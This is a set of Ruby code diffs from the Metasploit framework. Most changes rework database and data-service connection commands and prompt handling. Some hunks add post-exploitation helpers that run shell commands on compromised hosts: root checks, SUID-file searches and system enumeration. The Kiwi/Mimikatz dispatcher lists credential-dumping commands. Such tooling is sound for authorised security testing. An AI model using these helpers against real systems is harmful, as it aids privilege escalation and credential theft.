match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex }
when 'text'
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || [])
if module_metadata.targets
terms = terms + module_metadata.targets

View File

@ -135,6 +135,19 @@ module Msf::Post::File
end
end
#
# See if +path+ on the remote system exists and is writable
#
# @param path [String] Remote path to check
#
# @return [Boolean] true if +path+ exists and is writable
#
def writable?(path)
raise "writable?' method does not support Windows systems" if session.platform == 'windows'
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
end
#
# Check for existence of +path+ on the remote file system
#

View File

@ -11,19 +11,12 @@ module Priv
# Returns true if running as root, false if not.
#
def is_root?
root_priv = false
user_id = cmd_exec("id -u")
clean_user_id = user_id.to_s.gsub(/[^\d]/,"")
unless clean_user_id.empty?
if clean_user_id =~ /^0$/
root_priv = true
elsif clean_user_id =~ /^\d*$/
root_priv = false
end
else
user_id = cmd_exec('id -u')
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
if clean_user_id.empty?
raise "Could not determine UID: #{user_id.inspect}"
end
return root_priv
(clean_user_id == '0')
end
end # Priv

View File

@ -2,4 +2,5 @@
module Msf::Post::Solaris
require 'msf/core/post/solaris/priv'
require 'msf/core/post/solaris/system'
require 'msf/core/post/solaris/kernel'
end

View File

@ -0,0 +1,60 @@
# -*- coding: binary -*-
require 'msf/core/post/common'
module Msf
class Post
module Solaris
module Kernel
include ::Msf::Post::Common
#
# Returns uname output
#
# @return [String]
#
def uname(opts='-a')
cmd_exec("uname #{opts}").to_s.strip
rescue
raise "Failed to run uname #{opts}"
end
#
# Returns the kernel release
#
# @return [String]
#
def kernel_release
uname('-r')
end
#
# Returns the kernel version
#
# @return [String]
#
def kernel_version
uname('-v')
end
#
# Returns the kernel name
#
# @return [String]
#
def kernel_name
uname('-s')
end
#
# Returns the kernel hardware
#
# @return [String]
#
def kernel_hardware
uname('-m')
end
end # Kernel
end # Linux
end # Post
end # Msf

View File

@ -11,12 +11,12 @@ module Priv
# Returns true if running as root, false if not.
#
def is_root?
root_priv = false
user_id = cmd_exec("/usr/xpg4/bin/id -u")
if user_id.to_i == 0
root_priv = true
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
if clean_user_id.empty?
raise "Could not determine UID: #{user_id.inspect}"
end
return root_priv
(clean_user_id == '0')
end
end # Priv

View File

@ -25,6 +25,115 @@ module System
return system_data
end
#
# Gathers all SUID files on the filesystem.
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
# Consider specifying a more narrow find path.
# @param findpath The path on the system to start searching
# @return [Array]
def get_suid_files(findpath = '/')
out = cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n")
out.delete_if {|i| i.include?'Permission denied'}
rescue
raise "Could not retrieve all SUID files"
end
#
# Gets the $PATH environment variable
#
def get_path
cmd_exec('echo $PATH').to_s
rescue
raise "Unable to determine path"
end
#
# Gets basic information about the system's CPU.
# @return [Hash]
#
def get_cpu_info
info = {}
orig = cmd_exec('kstat -m cpu_info -p').to_s
cpuinfo = orig.split("\n")
# This is probably a more platform independent way to parse the results (compared to splitting and assigning preset indices to values)
cpuinfo.each do |l|
info[:speed_mhz] = l.split(':')[3].split("\t")[1].to_i if l.include? 'clock_MHz'
info[:product] = l.split(':')[3].split("\t")[1] if l.include? 'brand'
info[:vendor] = l.split(':')[3].split("\t")[1] if l.include? 'vendor_id'
info[:cores] = l.split(':')[3].split("\t")[1].to_i if l.include? 'ncore_per_chip'
end
return info
rescue
raise "Could not get CPU information"
end
#
# Gets the hostname of the system
# @return [String]
#
def get_hostname
cmd_exec('uname -n').to_s
rescue
raise 'Unable to retrieve hostname'
end
#
# Gets the name of the current shell
# @return [String]
#
def get_shell_name
psout = cmd_exec('ps -p $$').to_s
psout.split("\n").last.split(' ')[3]
rescue
raise 'Unable to gather shell name'
end
#
# Checks if the system has gcc installed
# @return [Boolean]
#
def has_gcc?
# https://github.com/rapid7/metasploit-framework/pull/10437#issuecomment-419984613
command_exists?('gcc') || command_exists?('/usr/sfw/bin/gcc')
rescue
raise 'Unable to check for gcc'
end
#
# Checks if the `cmd` is installed on the system
# @return [Boolean]
#
def command_exists?(cmd)
cmd_exec("command -v #{cmd} && echo true").to_s.include? 'true'
rescue
raise "Unable to check if command `#{cmd}` exists"
end
#
# Gets the process id(s) of `program`
# @return [Array]
#
def pidof(program)
pids = []
full = cmd_exec('ps -elf').to_s
full.split("\n").each do |pid|
pids << pid.split(' ')[3].to_i if pid.include? program
end
pids
end
#
# Gets the mount point of `filepath`
# @param [String] filepath The filepath to get the mount point
# @return [String]
#
def get_mount_path(filepath)
cmd_exec("df \"#{filepath}\" | tail -1").split(' ')[0]
rescue
raise "Unable to get mount path of #{filepath}"
end
end # System
end # Solaris
end # Post

View File

@ -160,7 +160,6 @@ class Core
cmd_color_help
return
end
driver.update_prompt
end
#
@ -1083,19 +1082,10 @@ class Core
msg = "Spooling to file #{args[0]}..."
end
# Restore color and prompt
# Restore color
driver.output.config[:color] = color
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
if active_module
# intentionally += and not << because we don't want to modify
# datastore or the constant DefaultPrompt
prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
end
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true)
print_status(msg)
return
end
def cmd_sessions_help
@ -1210,6 +1200,10 @@ class Core
end
end
if show_inactive && !framework.db.active
print_warning("Database not connected; list of inactive sessions unavailable")
end
last_known_timeout = nil
# Now, perform the actual method
@ -2003,31 +1997,19 @@ class Core
rx = Regexp.new(pattern, match_mods[:insensitive])
# get a ref to the current console driver
orig_driver = self.driver
# redirect output after saving the old ones and getting a new output buffer to use for redirect
orig_driver_output = orig_driver.output
orig_driver_input = orig_driver.input
# redirect output after saving the old one and getting a new output buffer to use for redirect
orig_output = driver.output
# we use a rex buffer but add a write method to the instance, which is
# required in order to be valid $stdout
temp_output = Rex::Ui::Text::Output::Buffer.new
temp_output.extend Rex::Ui::Text::Output::Buffer::Stdout
orig_driver.init_ui(orig_driver_input,temp_output)
driver.init_ui(driver.input, temp_output)
# run the desired command to be grepped
orig_driver.run_single(cmd)
driver.run_single(cmd)
# restore original output
orig_driver.init_ui(orig_driver_input,orig_driver_output)
# restore the prompt so we don't get "msf > >".
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
mod = active_module
if mod # if there is an active module, give them the fanciness they have come to expect
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
else
driver.update_prompt("#{prompt} ", prompt_char, true)
end
driver.init_ui(driver.input, orig_output)
# dump the command's output so we can grep it
cmd_output = temp_output.dump_buffer

View File

@ -19,6 +19,8 @@ class Db
include Msf::Ui::Console::CommandDispatcher
include Msf::Ui::Console::CommandDispatcher::Common
DB_CONFIG_PATH = 'framework/database'
#
# The dispatcher's name.
#
@ -31,9 +33,11 @@ class Db
#
def commands
base = {
"db_connect" => "Connect to an existing database",
"db_disconnect" => "Disconnect from the current database instance",
"db_status" => "Show the current database status",
"db_connect" => "Connect to an existing data service",
"db_disconnect" => "Disconnect from the current data service",
"db_status" => "Show the current data service status",
"db_save" => "Save the current data service connection as the default to reconnect on startup",
"db_remove" => "Remove the saved data service entry"
}
more = {
@ -47,7 +51,6 @@ class Db
"db_export" => "Export a file containing the contents of the database",
"db_nmap" => "Executes nmap and records the output automatically",
"db_rebuild_cache" => "Rebuilds the database-stored module cache",
"data_services" => "Command to add, list and set a data service",
}
# Always include commands that only make sense when connected.
@ -82,28 +85,6 @@ class Db
true
end
def cmd_data_services(*args)
while (arg = args.shift)
case arg
when '-h', '--help'
data_service_help
return
when '-a', '--add'
add_data_service(*args)
return
when '-d', '--delete'
delete_data_service(args.shift)
return
when '-s', '--set'
set_data_service(args.shift)
return
end
end
list_data_services
end
def cmd_workspace_help
print_line "Usage:"
print_line " workspace List workspaces"
@ -1203,7 +1184,7 @@ class Db
end
def cmd_loot_help
print_line "Usage: loot <options>"
print_line "Usage: loot [options]"
print_line " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]"
print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]"
print_line " Del: loot -d [addr1 addr2 ...]"
@ -1722,75 +1703,139 @@ class Db
return if not db_check_driver
if framework.db.connection_established?
cdb = ''
::ActiveRecord::Base.connection_pool.with_connection do |conn|
if conn.respond_to?(:current_database)
cdb = conn.current_database
end
end
print_status("#{framework.db.driver} connected to #{cdb}")
print_connection_info
else
print_status("#{framework.db.driver} selected, no connection")
end
end
def cmd_db_connect_help
# Help is specific to each driver
cmd_db_connect("-h")
print_line(" Usage: db_connect <user:pass>@<host:port>/<database>")
print_line(" OR: db_connect -y [path/to/database.yml]")
print_line(" OR: db_connect [options] <http|https>://<host:port>")
print_line("Examples:")
print_line(" db_connect user@metasploit3")
print_line(" db_connect user:pass@192.168.0.2/metasploit3")
print_line(" db_connect user:pass@192.168.0.2:1500/metasploit3")
print_line(" db_connect http://localhost:8080")
print_line(" db_connect -c ~/cert.pem -t 6a7a74c1a5003802c955ead1bbddd4ab1b05a7f2940b4732d34bfc555bc6e1c5d7611a497b29e8f0 https://localhost:8080")
print_line(" db_connect --name LA-server http://laoffice.org:8080")
print_line(" db_connect LA-server")
print_line(" ")
print_line(" OPTIONS:")
print_line(" -l,--list-services List the available data services that have been previously saved.")
print_line(" -y,--yaml Connect to the data service specified in the provided database.yml file.")
print_line(" -n,--name Name used to store the connection. Providing an existing name will overwrite the settings for that connection.")
print_line(" -c,--cert Certificate file matching the remote data server's certificate. Needed when using self-signed SSL cert.")
print_line(" -t,--token The API token used to authenticate to the remote data service.")
print_line(" --skip-verify Skip validating authenticity of server's certificate (NOT RECOMMENDED).")
end
def cmd_db_connect(*args)
return if not db_check_driver
if args[0] != '-h' && framework.db.connection_established?
cdb = ''
::ActiveRecord::Base.connection_pool.with_connection do |conn|
if conn.respond_to?(:current_database)
cdb = conn.current_database
opts = {}
https_opts = {}
while (arg = args.shift)
case arg
when '-h', '--help'
cmd_db_connect_help
return
when '-y', '--yaml'
yaml_file = args.shift
when '-c', '--cert'
https_opts[:cert] = args.shift
when '-t', '--token'
opts[:api_token] = args.shift
when '-l', '--list-services'
list_saved_data_services
return
when '-n', '--name'
name = args.shift
if name =~ /\/|\[|\]/
print_error "Provided name contains an invalid character. Aborting connection."
return
end
when '--skip-verify'
https_opts[:skip_verify] = true
else
found_name = data_service_search(arg)
if found_name
opts = load_db_config(found_name)
else
opts[:url] = arg
end
end
print_error("#{framework.db.driver} already connected to #{cdb}")
print_error('Run db_disconnect first if you wish to connect to a different database')
end
opts[:https_opts] = https_opts unless https_opts.empty?
if !opts[:url] && !yaml_file
print_error 'A URL or saved data service name is required.'
print_line
cmd_db_connect_help
return
end
if (args[0] == "-y")
if (args[1] and not ::File.exist? ::File.expand_path(args[1]))
if opts[:url] =~ /http/
new_conn_type = 'http'
else
new_conn_type = framework.db.driver
end
# Currently only able to be connected to one DB at a time
if framework.db.connection_established?
# But the http connection still requires a local database to support AR, so we have to allow that
# Don't allow more than one HTTP service, though
if new_conn_type != 'http' || framework.db.get_services_metadata.count >= 2
print_error('Connection already established. Only one connection is allowed at a time.')
print_error('Run db_disconnect first if you wish to connect to a different data service.')
print_line
print_line 'Current connection information:'
print_connection_info
return
end
end
if yaml_file
if (yaml_file and not ::File.exist? ::File.expand_path(yaml_file))
print_error("File not found")
return
end
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
file = yaml_file || ::File.join(Msf::Config.get_config_root, "database.yml")
file = ::File.expand_path(file)
if (::File.exist? file)
db = YAML.load(::File.read(file))['production']
framework.db.connect(db)
if framework.db.active and not framework.db.modules_cached
print_status("Rebuilding the module cache in the background...")
framework.threads.spawn("ModuleCacheRebuild", true) do
framework.db.update_all_module_details
end
end
print_line('Connected to the database specified in the YAML file.')
return
end
end
meth = "db_connect_#{framework.db.driver}"
meth = "db_connect_#{new_conn_type}"
if(self.respond_to?(meth, true))
self.send(meth, *args)
if framework.db.active and not framework.db.modules_cached
print_status("Rebuilding the module cache in the background...")
framework.threads.spawn("ModuleCacheRebuild", true) do
framework.db.update_all_module_details
self.send(meth, opts)
else
print_error("This database driver #{new_conn_type} is not currently supported")
end
if framework.db.active
if !name || name.empty?
if found_name
name = found_name
else
name = Rex::Text.rand_text_alphanumeric(8)
end
end
else
print_error("This database driver #{framework.db.driver} is not currently supported")
save_db_to_config(framework.db, name)
@current_data_service = name
end
end
def cmd_db_disconnect_help
print_line "Usage: db_disconnect"
print_line
print_line "Disconnect from the database."
print_line "Disconnect from the data service."
print_line
end
@ -1802,8 +1847,25 @@ class Db
return
end
if (framework.db)
framework.db.disconnect()
db_name = framework.db.name
if framework.db.active
if framework.db.driver == 'http'
begin
framework.db.delete_current_data_service
local_db_url = build_postgres_url
local_name = data_service_search(local_db_url)
@current_data_service = local_name
rescue => e
print_error "Unable to disconnect from the data service: #{e.message}"
end
else
framework.db.disconnect
@current_data_service = nil
end
print_line "Successfully disconnected from the data service: #{db_name}."
else
print_error "Not currently connected to a data service."
end
end
@ -1827,6 +1889,101 @@ class Db
print_line
end
def cmd_db_save_help
print_line "Usage: db_save"
print_line
print_line "Save the current data service connection as the default to reconnect on startup."
print_line
end
def cmd_db_save(*args)
while (arg = args.shift)
case arg
when '-h', '--help'
cmd_db_save_help
return
end
end
if !framework.db.active || !@current_data_service
print_error "Not currently connected to a data service that can be saved."
return
end
begin
Msf::Config.save(DB_CONFIG_PATH => { 'default_db' => @current_data_service })
print_line "Successfully saved data service as default: #{@current_data_service}"
rescue ArgumentError => e
print_error e.message
end
end
def save_db_to_config(database, database_name)
if database_name =~ /\/|\[|\]/
raise ArgumentError, 'Data service name contains an invalid character.'
end
config_path = "#{DB_CONFIG_PATH}/#{database_name}"
config_opts = {}
if !database.is_local?
begin
config_opts['url'] = database.endpoint
if database.https_opts
config_opts['cert'] = database.https_opts[:cert] if database.https_opts[:cert]
config_opts['skip_verify'] = true if database.https_opts[:skip_verify]
end
if database.api_token
config_opts['api_token'] = database.api_token
end
Msf::Config.save(config_path => config_opts)
rescue => e
print_error "There was an error saving the data service configuration: #{e.message}"
end
else
url = build_postgres_url
config_opts['url'] = url
Msf::Config.save(config_path => config_opts)
end
end
def cmd_db_remove_help
print_line "Usage: db_remove <name>"
print_line
print_line "Delete the specified saved data service."
print_line
end
def cmd_db_remove(*args)
if args[0] == '-h' || args[0] == '--help' || args[0].nil? || args[0].empty?
cmd_db_remove_help
return
end
delete_db_from_config(args[0])
end
def delete_db_from_config(db_name)
conf = Msf::Config.load
db_path = "#{DB_CONFIG_PATH}/#{db_name}"
if conf[db_path]
clear_default_db if conf[DB_CONFIG_PATH]['default_db'] && conf[DB_CONFIG_PATH]['default_db'] == db_name
Msf::Config.delete_group(db_path)
print_line "Successfully deleted data service: #{db_name}"
else
print_line "Unable to locate saved data service with name #{db_name}."
end
end
def clear_default_db
conf = Msf::Config.load
if conf[DB_CONFIG_PATH] && conf[DB_CONFIG_PATH]['default_db']
updated_opts = conf[DB_CONFIG_PATH]
updated_opts.delete('default_db')
Msf::Config.save(DB_CONFIG_PATH => updated_opts)
print_line "Cleared the default data service."
else
print_line "No default data service was configured."
end
end
def db_find_tools(tools)
missed = []
tools.each do |name|
@ -1848,18 +2005,8 @@ class Db
#
# Connect to an existing Postgres database
#
def db_connect_postgresql(*args)
if(args[0] == nil or args[0] == "-h" or args[0] == "--help")
print_status(" Usage: db_connect <user:pass>@<host:port>/<database>")
print_status(" OR: db_connect -y [path/to/database.yml]")
print_status("Examples:")
print_status(" db_connect user@metasploit3")
print_status(" db_connect user:pass@192.168.0.2/metasploit3")
print_status(" db_connect user:pass@192.168.0.2:1500/metasploit3")
return
end
info = db_parse_db_uri_postgresql(args[0])
def db_connect_postgresql(cli_opts)
info = db_parse_db_uri_postgresql(cli_opts[:url])
opts = { 'adapter' => 'postgresql' }
opts['username'] = info[:user] if (info[:user])
@ -1896,8 +2043,29 @@ class Db
opts['host'] = '127.0.0.1'
end
if (not framework.db.connect(opts))
raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
if framework.db.connect(opts) && framework.db.connection_established?
print_line "Connected to Postgres data service: #{info[:host]}/#{info[:name]}"
else
raise RuntimeError.new("Failed to connect to the Postgres data service: #{framework.db.error}")
end
end
def db_connect_http(opts)
# local database is required to use Mdm objects
unless framework.db.active
print_error("No local database connected. Please connect to a local database before connecting to a remote data service.")
return
end
uri = db_parse_db_uri_http(opts[:url])
remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(uri.to_s, opts)
begin
framework.db.register_data_service(remote_data_service)
print_line "Connected to HTTP data service: #{remote_data_service.name}"
framework.db.workspace = framework.db.default_workspace
rescue => e
raise RuntimeError.new("Failed to connect to the HTTP data service: #{e.message}")
end
end
@ -1917,6 +2085,10 @@ class Db
res
end
def db_parse_db_uri_http(path)
URI.parse(path)
end
#
# Miscellaneous option helpers
#
@ -1963,97 +2135,89 @@ class Db
private
#######
def add_data_service(*args)
# database is required to use Mdm objects
unless framework.db.active
print_error("Database not connected; connect to an existing database with db_connect before using data_services")
return
end
protocol = "http"
port = 8080
opts = {}
https_opts = {}
while (arg = args.shift)
case arg
when '-p', '--port'
port = args.shift
when '-t', '--token'
opts[:api_token] = args.shift
when '-s', '--ssl'
protocol = "https"
when '-c', '--cert'
https_opts[:cert] = args.shift
when '--skip-verify'
https_opts[:skip_verify] = true
else
host = arg
def print_connection_info
cdb = ''
if framework.db.driver == 'http'
cdb = framework.db.name
else
::ActiveRecord::Base.connection_pool.with_connection do |conn|
if conn.respond_to?(:current_database)
cdb = conn.current_database
end
end
end
output = "Connected to #{cdb}. Connection type: #{framework.db.driver}."
output += " Connection name: #{@current_data_service}." if @current_data_service
print_status(output)
end
if host.nil? || port.nil?
print_error("Host and port are required")
def data_service_search(search_criteria)
conf = Msf::Config.load
rv = nil
conf.each_pair do |k,v|
name = k.split('/').last
rv = name if name == search_criteria
rv = name if v.values.include?(search_criteria)
end
rv
end
def load_db_config(db_name)
conf = Msf::Config.load
conf_options = conf["#{DB_CONFIG_PATH}/#{db_name}"]
opts = {}
https_opts = {}
if conf_options
opts[:url] = conf_options['url'] if conf_options['url']
opts[:api_token] = conf_options['api_token'] if conf_options['api_token']
https_opts[:cert] = conf_options['cert'] if conf_options['cert']
https_opts[:skip_verify] = conf_options['skip_verify'] if conf_options['skip_verify']
else
print_error "Unable to locate saved data service with name '#{db_name}'"
return
end
opts[:https_opts] = https_opts unless https_opts.empty?
endpoint = "#{protocol}://#{host}:#{port}"
remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint, opts)
begin
framework.db.register_data_service(remote_data_service)
print_line "Registered data service: #{remote_data_service.name}"
framework.db.workspace = framework.db.default_workspace
rescue => e
print_error "There was a problem registering the remote data service: #{e.message}"
end
opts
end
def delete_data_service(service_id)
begin
data_service = framework.db.delete_data_service(service_id)
framework.db.workspace = framework.db.default_workspace
data_service
rescue => e
print_error "Unable to delete data service: #{e.message}"
end
end
def list_saved_data_services
conf = Msf::Config.load
default = nil
tbl = Rex::Text::Table.new({
'Header' => 'Data Services',
'Columns' => ['current', 'name', 'url', 'default?'],
'SortIndex' => 1
})
def set_data_service(service_id)
begin
data_service = framework.db.set_data_service(service_id)
framework.db.workspace = framework.db.default_workspace
data_service
rescue => e
print_error "Unable to set data service: #{e.message}"
end
end
def list_data_services()
framework.db.get_services_metadata.each {|metadata|
out = "id: #{metadata.id}, name: #{metadata.name}"
if metadata.active
out += " [active]"
conf.each_pair do |k,v|
if k =~ /#{DB_CONFIG_PATH}/
default = v['default_db'] if v['default_db']
name = k.split('/').last
next if name == 'database' # Data service information is not stored in 'framework/database', just metadata
url = v['url']
current = ''
current = '*' if name == @current_data_service
default_output = ''
default_output = '*' if name == default
line = [current, name, url, default_output]
tbl << line
end
print_line out
}
end
print_line
print_line tbl.to_s
end
def data_service_help
print_line "Usage: data_services [ options ] - list data services by default"
print_line
print_line "OPTIONS:"
print_line " -h, --help Show this help information."
print_line " -d, --delete <id> Delete the data service by identifier."
print_line " -s, --set <id> Set the active data service by identifier."
print_line " -a, --add [ options ] <host> Add a new data service"
print_line " Add Data Service Options:"
print_line " -p, --port <port> The port the data service is listening on. Default is 8080."
print_line " -t, --token <token> API Token for MSF web service"
print_line " -s, --ssl Enable SSL. Required for HTTPS data services."
print_line " -c, --cert Certificate file matching the server's certificate. Needed when using self-signed SSL cert."
print_line " --skip-verify Skip validating authenticity of server's certificate. NOT RECOMMENDED."
print_line
def build_postgres_url
conn_params = ActiveRecord::Base.connection_config
url = ""
url += "#{conn_params[:username]}" if conn_params[:username]
url += ":#{conn_params[:password]}" if conn_params[:password]
url += "@#{conn_params[:host]}" if conn_params[:host]
url += ":#{conn_params[:port]}" if conn_params[:port]
url += "/#{conn_params[:database]}" if conn_params[:database]
url
end
def print_msgs(status_msg, error_msg)

View File

@ -326,6 +326,7 @@ module Msf
print_line
print_line "Keywords:"
{
'aka' => 'Modules with a matching AKA (also-known-as) name',
'app' => 'Modules that are client or server attacks',
'author' => 'Modules written by this author',
'arch' => 'Modules affecting this architecture',
@ -677,11 +678,6 @@ module Msf
end
mod.init_ui(driver.input, driver.output)
# Update the command prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
end
#
@ -864,11 +860,6 @@ module Msf
# Destack the current dispatcher
driver.destack_dispatcher
# Restore the prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true)
end
end

View File

@ -24,6 +24,7 @@ class Driver < Msf::Ui::Driver
ConfigCore = "framework/core"
ConfigGroup = "framework/ui/console"
DbConfigGroup = "framework/database"
DefaultPrompt = "%undmsf5%clr"
DefaultPromptChar = "%clr>"
@ -129,6 +130,8 @@ class Driver < Msf::Ui::Driver
enstack_dispatcher(dispatcher)
end
load_db_config(opts['Config'])
if !framework.db || !framework.db.active
print_error("***")
if framework.db.error == "disabled"
@ -224,6 +227,38 @@ class Driver < Msf::Ui::Driver
end
end
def load_db_config(path=nil)
begin
conf = Msf::Config.load(path)
rescue
wlog("Failed to load configuration: #{$!}")
return
end
if conf.group?(DbConfigGroup)
conf[DbConfigGroup].each_pair do |k, v|
if k.downcase == 'default_db'
ilog "Default data service found. Attempting to connect..."
default_db_config_path = "#{DbConfigGroup}/#{v}"
default_db = conf[default_db_config_path]
if default_db
connect_string = "db_connect #{v}"
if framework.db.active && default_db['url'] !~ /http/
ilog "Existing local data connection found. Disconnecting first."
run_single("db_disconnect")
end
run_single(connect_string)
else
elog "Config entry for '#{default_db_config_path}' could not be found. Config file might be corrupt."
return
end
end
end
end
end
#
# Loads configuration for the console.
#
@ -333,7 +368,10 @@ class Driver < Msf::Ui::Driver
print_warning("\t#{path}: #{error}")
end
end
framework.db.workspace = framework.db.default_workspace if framework.db && framework.db.active
if framework.db && framework.db.active
framework.db.workspace = framework.db.default_workspace unless framework.db.workspace
end
framework.events.on_ui_start(Msf::Framework::Revision)
@ -376,10 +414,6 @@ class Driver < Msf::Ui::Driver
handle_console_logging(val) if (glob)
when "loglevel"
handle_loglevel(val) if (glob)
when "prompt"
update_prompt(val, framework.datastore['PromptChar'] || DefaultPromptChar, true)
when "promptchar"
update_prompt(framework.datastore['Prompt'] || DefaultPrompt, val, true)
end
end
@ -398,6 +432,21 @@ class Driver < Msf::Ui::Driver
end
end
#
# Proxies to shell.rb's update prompt with our own extras
#
def update_prompt(*args)
if args.empty?
pchar = framework.datastore['PromptChar'] || DefaultPromptChar
p = framework.datastore['Prompt'] || DefaultPrompt
p = "#{p} #{active_module.type}(%bld%red#{active_module.promptname}%clr)" if active_module
super(p, pchar)
else
# Don't squash calls from within lib/rex/ui/text/shell.rb
super(*args)
end
end
#
# The framework instance associated with this driver.
#

View File

@ -32,10 +32,13 @@ module Msf
kb_path = nil
kb = ''
if File.exists?(File.join(PullRequestFinder::USER_MANUAL_BASE_PATH, "#{mod.fullname}.md"))
kb_path = File.join(PullRequestFinder::USER_MANUAL_BASE_PATH, "#{mod.fullname}.md")
elsif File.exists?(File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md"))
kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
user_path = File.join(PullRequestFinder::USER_MANUAL_BASE_PATH, "#{mod.fullname}.md")
global_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
if File.exists?(user_path)
kb_path = user_path
elsif File.exists?(global_path)
kb_path = global_path
end
unless kb_path.nil?

View File

@ -215,8 +215,6 @@ module Msf
refs.each do |ref|
case ref.ctx_id
when 'AKA'
normalized << "* *Also known as:* #{ref.ctx_val}"
when 'MSB'
normalized << "* [#{ref.ctx_val}](#{ref.site})"
when 'URL'

View File

@ -16,6 +16,8 @@ module SocketSubsystem
class TcpServerChannel < Rex::Post::Meterpreter::Channel
include Rex::IO::StreamServer
#
# This is a class variable to store all pending client tcp connections which have not been passed
# off via a call to the respective server tcp channels accept method. The dictionary key is the
@ -87,7 +89,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
end
#
# Simply initilize this instance.
# Simply initialize this instance.
#
def initialize(client, cid, type, flags)
super(client, cid, type, flags)
@ -104,7 +106,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
end
#
# Accept a new tcp client connection form this tcp server channel. This method will block indefinatly
# Accept a new tcp client connection form this tcp server channel. This method will block indefinitely
# if no timeout is specified.
#
def accept(opts = {})

View File

@ -8,7 +8,7 @@ module Ui
###
#
# Kiwi extension - grabs credentials from windows memory.
# Kiwi extension - grabs credentials from windows memory (newer OSes).
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
@ -38,7 +38,7 @@ class Console::CommandDispatcher::Kiwi
super
print_line
print_line
print_line(" .#####. mimikatz 2.1.1 20170608 (#{client.session_type})")
print_line(" .#####. mimikatz 2.1.1 20180820 (#{client.session_type})")
print_line(" .## ^ ##. \"A La Vie, A L'Amour\"")
print_line(" ## / \\ ## /* * *")
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
@ -46,10 +46,15 @@ class Console::CommandDispatcher::Kiwi
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
print_line
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
si = client.sys.config.sysinfo
if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
print_warning('Loaded x86 Kiwi on an x64 architecture.')
print_line
end
if si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i
print_warning("Loaded Kiwi on an old OS (#{si['OS']}). Did you mean to 'load mimikatz' instead?")
end
end
#
@ -87,9 +92,9 @@ class Console::CommandDispatcher::Kiwi
# Valid options for the password change feature
#
@@password_change_usage_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help banner'],
'-u' => [true, 'User name of the password to change.'],
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
'-h' => [false, 'Help banner'],
'-u' => [true, 'User name of the password to change.'],
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
'-p' => [true, 'The known existing/old password (do not use with -n).'],
'-n' => [true, 'The known existing/old hash (do not use with -p).'],
'-P' => [true, 'The new password to set for the account (do not use with -N).'],

View File

@ -8,12 +8,13 @@ module Ui
###
#
# Mimikatz extension - grabs credentials from windows memory.
# Mimikatz extension - grabs credentials from windows memory (older OSes).
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by Ben Campbell (Meatballs)
#
###
class Console::CommandDispatcher::Mimikatz
@ -21,14 +22,27 @@ class Console::CommandDispatcher::Mimikatz
include Console::CommandDispatcher
#
# Name for this dispatcher
#
def name
'Mimikatz'
end
#
# Initializes an instance of the priv command interaction.
#
def initialize(shell)
super
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
si = client.sys.config.sysinfo
if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
print_warning('Loaded x86 Mimikatz on an x64 architecture.')
print_line
print_warning "Loaded x86 Mimikatz on an x64 architecture."
end
unless si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i
print_warning("Loaded Mimikatz on a newer OS (#{si['OS']}). Did you mean to 'load kiwi' instead?")
end
end
@ -37,25 +51,25 @@ class Console::CommandDispatcher::Mimikatz
#
def commands
{
"mimikatz_command" => "Run a custom command",
"wdigest" => "Attempt to retrieve wdigest creds",
"msv" => "Attempt to retrieve msv creds (hashes)",
"livessp" => "Attempt to retrieve livessp creds",
"ssp" => "Attempt to retrieve ssp creds",
"tspkg" => "Attempt to retrieve tspkg creds",
"kerberos" => "Attempt to retrieve kerberos creds"
'mimikatz_command' => 'Run a custom command.',
'wdigest' => 'Attempt to retrieve wdigest creds.',
